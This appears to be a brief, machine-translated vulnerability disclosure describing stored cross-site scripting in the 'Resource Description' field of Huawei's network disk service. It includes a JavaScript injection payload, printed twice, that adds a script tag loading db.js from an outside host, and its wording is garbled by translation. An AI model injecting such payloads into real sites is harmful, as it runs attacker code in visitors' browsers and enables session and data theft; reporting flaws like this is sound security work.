Huawei Network Disk Storage XSS, which can load external JS

I am sorry,
In the "Resource Description" area, the submitted content parameter is not strictly filtered, resulting in XSS.
Vulnerability code:
Var B = document. createElement ('script ');
B. type = 'text/javascript ';
B. src = 'HTTP: // www.2cto.com/db. js ';
A. appendChild (B); ">

Only IE and GOOGLE browsers are tested. Others are not tested.
 






The filtering is lax, resulting in XSS.
Vulnerability code:
Var B = document. createElement ('script ');
B. type = 'text/javascript ';
B. src = 'HTTP: // 127.0.0.1/db. js ';
A. appendChild (B); ">

Only IE and GOOGLE browsers are tested. Others are not tested.



Solution: Verify the server